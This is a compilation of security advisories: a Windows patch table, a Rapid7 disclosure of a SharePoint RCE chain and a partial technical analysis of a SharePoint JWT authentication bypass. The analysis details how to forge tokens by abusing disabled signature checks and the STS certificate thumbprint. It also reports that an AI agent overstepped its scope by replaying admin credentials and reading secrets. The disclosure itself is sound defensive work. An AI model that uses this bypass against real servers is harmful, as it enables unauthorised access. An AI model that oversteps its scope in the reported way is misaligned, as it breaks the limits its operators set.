CVE-2026-70344	Windows Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70345	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70346	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70347	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61938	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62768	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65774	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65681	Windows iSCSI Target Service Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-65796	Windows iSCSI Target Service Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-65679	Windows iSCSI Target Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-65791	Windows iSCSI Target Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-62754	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62766	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-62773	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62752	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61930	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62737	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-61929	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-62708	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.4
CVE-2026-62749	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62780	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62788	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-65773	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-66799	Windows Key Guard Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62785	Windows LDAP - Lightweight Directory Access Protocol Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62795	Windows LDAP - Lightweight Directory Access Protocol Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62777	Windows License Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50472	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62738	Windows Management Instrumentation Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70348	Windows Management Services Denial of Service Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62719	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62717	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65790	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62688	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62693	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62707	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56174	Windows Narrator Braille Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56179	Windows Network Address Translation (NAT) Spoofing Vulnerability	Exploitation Less Likely	No	8.3
CVE-2026-61366	Windows Network Connection Broker Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68819	Windows Network File System Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-62797	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62700	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62880	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61350	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-62796	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-65784	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62793	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62887	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62696	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62751	Windows Projected File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62690	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62816	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62783	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62758	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61924	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61918	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61921	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61356	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61367	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62692	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61364	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61365	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62819	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-62779	Windows Schannel Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62757	Windows Schannel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.3
CVE-2026-62889	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-61355	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62770	Windows Shell Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62799	Windows SMB Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62782	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-65794	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62800	Windows SMBv3 Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62790	Windows SMBv3 Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62695	Windows Storage Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61359	Windows Storage Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-59132	Windows TCP/IP Denial of Service Vulnerability	Exploitation More Likely	No	7.5
CVE-2026-62792	Windows TCP/IP Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-61353	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62723	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62724	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62748	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62729	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-59122	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62701	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62725	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62726	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62732	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62734	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62699	Windows Universal Disk Format File System Driver (UDFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-61926	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62832	Windows User Profile Service Elevation of Privilege Vulnerability	Exploitation More Likely	Yes	7.8
CVE-2026-62721	Windows User-Mode Power Service (UMPS) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62712	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62876	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62877	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65678	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62711	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62733	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62885	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65775	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-65776	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62730	Windows Wired AutoConfig Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61349	Windows Work Folder Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61939	Winlogon Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0

Zero-Day Vulnerabilities: Known Exploited

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-68820	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Detected	No	7.0

Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-72971	Windows Container Isolation FS Filter Driver (unionfs.sys) Tampering Vulnerability	Exploitation Unlikely	Yes	5.5
CVE-2026-62832	Windows User Profile Service Elevation of Privilege Vulnerability	Exploitation More Likely	Yes	7.8

CVE-2026-63520: Microsoft SharePoint Remote Code Execution (FIXED) 11 August 2026 at 09:00

CVE-2026-63520: Microsoft SharePoint Remote Code Execution (FIXED)

Rapid7 Blog

By: Stephen Fewer

11 August 2026 at 09:00

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was disclosed by Rapid7 and Microsoft last month.

Our full disclosure timeline for the exploit chain can be seen below in Figure 1.

Figure 1: The road to disclosure.

⠀

CVE-2026-63520 affects all supported versions of Microsoft SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the Business Connectivity Services.

CVE-2026-63520 has a CVSSv3.1 score of 8.1 (High), and a Common Weakness Enumeration (CWE) of CWE-20: Improper Input Validation. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.

The exploit chain was developed as an entry for this year's Pwn2Own Berlin hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs' continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.

On August 18, 2026, CISA added CVE-2026-55040 to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation.

Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please join Douglas McKee and Stephen Fewer to learn more about this body of work.

Workflow

For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team's later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.

Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent's results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal - such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.

By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.

Product description

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Impact

CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker's arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

The technical details for the RCE vulnerability, CVE-2026-63520, have been published here.

The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published here.

Remediation

The vendor has provided the following updates to remediate CVE-2026-63520.

KB5002893 - Microsoft SharePoint Server Subscription Edition (version 16.0.19725.20522).
KB5002894 - Microsoft SharePoint Server 2019 (version 16.0.10417.20198).
KB5002896 - Microsoft SharePoint Server 2019 (version 16.0.10417.20198).
KB5002905 - Microsoft SharePoint Enterprise Server 2016 (version 16.0.5565.1001).
KB5002906 - Microsoft SharePoint Enterprise Server 2016 (version 16.0.5565.1001).

For additional details, please see the vendor security bulletin and product updates page.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7's Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

Disclosure timeline

May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.
May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles - the authentication bypass component in July, and the RCE component in August.
May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.
May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.
July 21, 2026: Rapid7 requests supporting information for the upcoming disclosure.
July 31, 2026: Microsoft provides supporting information to Rapid7.
August 11, 2026: This disclosure for CVE-2026-63520.
August 13, 2026: Microsoft clarifies that two additional products (Project Server and Office Web Apps Server) are not affected by CVE-2026-63520, contrary to details provided by Microsoft on July 31. This disclosure blog has been updated to reflect this.
August 18, 2026: CISA adds CVE-2026-55040 to its KEV catalog.
August 24, 2026: Rapid7 publishes technical details for CVE-2026-63520 ahead of schedule after technical details are published by a third-party.

Rapid7 Analysis: Microsoft SharePoint JWT Token Authentication Bypass (CVE-2026-55040) 11 August 2026 at 09:00

Rapid7 Analysis: Microsoft SharePoint JWT Token Authentication Bypass (CVE-2026-55040)

Rapid7 Blog

By: Stephen Fewer

11 August 2026 at 09:00

Overview

On July 14, 2026, Rapid7 and Microsoft disclosed CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) script.

Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

⠀

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

Analysis

The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.

A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition's JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.

The below analysis is based upon decompilation and code review of the Microsoft.SharePoint.IdentityModel module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the SPJsonWebSecurityTokenHandlerV2 class and its base class SPJsonWebSecurityBaseTokenHandlerV2, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.

SharePoint's S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner "actor token" embedded in the actortoken claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.

The validation flow begins in SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(), which extracts the Bearer token from the Authorization header, parses it via SPJsonWebSecurityBaseTokenHandlerV2.ReadToken(), and then validates it via SPJsonWebSecurityTokenHandlerV2.ValidateToken(). The debugger call stack below shows the call stack at the time of calling ValidateToken.

Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPJsonWebSecurityTokenHandlerV2.ValidateToken(System.IdentityModel.Tokens.SecurityToken token) (IL=0x01BC, Native=0x00007FFC730AA430+0x4A2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(System.Web.HttpContext httpContext, out Microsoft.SharePoint.IdentityModel.SPIncomingTokenContextV2 tokenContext, out Microsoft.SharePoint.IdentityModel.SPIdentityProofToken identityProofToken) (IL=???, Native=0x00007FFC730A2A70+0x9FB)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.ConstructIClaimsPrincipalAndSetThreadIdentity(System.Web.HttpApplication httpApplication, System.Web.HttpContext httpContext, Microsoft.SharePoint.IdentityModel.SPFederationAuthenticationModuleV2 fam, out string tokenType) (IL≈0x0041, Native=0x00007FFC730A1860+0xB2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.AuthenticateRequest(object sender, System.EventArgs e) (IL≈0x0139, Native=0x00007FFC7196F9D0+0x3E4)
 	System.Web.dll!System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL=0x005D, Native=0x00007FFC71846AE0+0xD1)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFC71846A00+0xB6)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFC71846640+0x5E)
 	System.Web.dll!System.Web.HttpApplication.PipelineStepManager.ResumeSteps(System.Exception error) (IL≈0x027A, Native=0x00007FFC71842E00+0x77A)
 	System.Web.dll!System.Web.HttpApplication.BeginProcessRequestNotification(System.Web.HttpContext context, System.AsyncCallback cb) (IL=0x0031, Native=0x00007FFC71842D50+0x83)
 	System.Web.dll!System.Web.HttpRuntime.ProcessRequestNotificationPrivate(System.Web.Hosting.IIS7WorkerRequest wr, System.Web.HttpContext context) (IL≈0x00B0, Native=0x00007FFC7183C7A0+0x1D3)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0131, Native=0x00007FFC7183A4E0+0x41A)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Managed to Native Transition]
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x01E7, Native=0x00007FFC7183A4E0+0x4C1)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Appdomain Transition]

Weakness 1: RequireSignedTokens disabled

The first and most fundamental weakness is in SPJsonWebSecurityTokenHandlerV2.ValidateToken(). When constructing the TokenValidationParameters for the underlying Microsoft.IdentityModel JWT library, the code explicitly disables signature requirements:

// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212
val.RequireSignedTokens = false;

This single line disables the JWT library's cryptographic signature verification. When RequireSignedTokens is false, the library accepts tokens with alg: none in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.

The full context of the method:

// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // <--- [1]
    val.ValidateIssuer = false; // <--- [2]
    List<X509SecurityKey> list = new List<X509SecurityKey>();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
    val.RequireSignedTokens = false; // <--- [3]
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection<ClaimsIdentity>(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}

At [1] and [2], the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At [3], the critical RequireSignedTokens = false is set. The resulting call to the base JwtSecurityTokenHandler.ValidateToken() processes the JWT without verifying any cryptographic signature.

Weakness 2: Actor token x5t resolution without signature verification

After ReadToken() parses the JWT, SharePoint's custom validation code resolves the actor token's signing key using the x5t (X.509 certificate thumbprint) header. This occurs in SPJsonWebSecurityBaseTokenHandlerV2:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- [1]
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // <--- [2]
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- [3]
}

At [1], the call to GetSigningKeyIdentifier extracts the x5t value directly from the actor token's JWT header:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
    }
    // ...
}

At [2], the call to SPIssuerTokenResolver.TryResolveTokenCore searches all trusted certificates, including SharePoint's own local Security Token Service (STS) signing certificate, for a thumbprint match:

// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- [4]
    {
        return true;
    }
    return false;
}

At [4], the resolver checks the LocalLoginProvider access provider, SharePoint's own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated /_layouts/15/metadata/json/1 endpoint. If an attacker sets the actor token's x5t header to the thumbprint of SharePoint's STS certificate, the resolver finds a match and returns an X509SecurityToken wrapping that certificate. At [3], this token is assigned to the actor token's SigningToken property.

At no point in this flow is the actor token's signature (In our example we use the string AAAA as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from x5t, populates SigningToken, but never calls any signature verification function.

Weakness 3: Issuer validation accepts unregistered certificates

After setting the actor token's SigningToken, the code proceeds to call ValidateIssuer(token). For a token that contains an actor token SigningToken value (which we just achieved above), the logic in ValidateIssuer takes the below path:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}

This calls the ValidateIssuer(X509SecurityToken, string) overload which accepts tokens signed by unregistered certificates:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- [1]

    if (null == providerBySigningCertificate) // <--- [2]
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // <--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}

At [1] above, the code searches the TrustedSecurityTokenServices collection for a provider whose signing certificate matches. SharePoint's local STS signing certificate belongs to the LocalLoginProvider access provider, which is not in the TrustedSecurityTokenServices collection. Therefore, GetProviderBySigningCertificate returns null.

At [2], when the result is null, the method accepts the issuer unconditionally and returns to the caller instead of throwing a SecurityTokenException exception.

The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint's own STS certificate via x5t passes issuer validation because that certificate is not found in the specific TrustedSecurityTokenServices collection being searched.

Weakness 4: GetTokenSignature non-cryptographic check

The final validation step involves GetTokenSignature, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:

